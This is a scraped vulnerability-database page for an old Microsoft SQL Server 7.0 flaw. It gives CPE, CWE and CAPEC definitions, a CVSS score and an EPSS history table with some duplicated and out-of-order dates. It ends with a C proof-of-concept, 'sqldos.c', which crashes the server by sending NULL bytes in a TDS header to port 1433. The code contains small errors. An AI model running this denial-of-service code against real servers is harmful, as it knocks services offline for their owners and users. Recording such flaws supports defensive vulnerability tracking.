CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.3
AV:N/AC:M/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
10.86%
–
–
2022-03-13
–
–
10.86%
–
–
2022-04-03
–
–
10.86%
–
–
2022-07-17
–
–
10.86%
–
–
2022-07-24
–
–
10.86%
–
–
2022-09-25
–
–
10.86%
–
–
2023-01-01
–
–
10.86%
–
–
2023-01-22
–
–
10.86%
–
–
2023-03-12
–
–
–
0.98%
–
2023-08-27
–
–
–
0.98%
–
2024-02-11
–
–
–
0.98%
–
2024-06-02
–
–
–
0.98%
–
2024-06-16
–
–
–
0.98%
–
2024-12-22
–
–
–
0.98%
–
2025-02-16
–
–
–
0.98%
–
2025-01-19
–
–
–
0.98%
–
2025-02-16
–
–
–
0.98%
–
2025-03-18
–
–
–
–
17.34%
2025-03-18
–
–
–
–
17.34,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/817/info
If Microsoft SQL Server 7.0 receives a TDS header with three or more NULL bytes as data it will crash. The crash will generate an event in the log with ID 17055 "fatal exception EXCEPTION_ACCESS VIOLATION".
/*
** sqldos.c -- a DoS attack agains MS SQL Server
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 1433 /* the port SQL Server listens on */
int main(int argc, char *argv[])
{
int sockfd, numbytes;
struct hostent *he;
char buff[65535];
struct sockaddr_in target_addr;
if (argc != 2) {
fprintf(stderr,"Usage: sqldos target\n");
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL)
perror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket error");
exit(1);
}
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(PORT);
target_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(target_addr.sin_zero), 8);
if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
perror("connect error");
exit(1);
}
memset(&buff, 0, 3);
if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
perror("send errot");
exit(1);
}
close(sockfd);
return 0;
}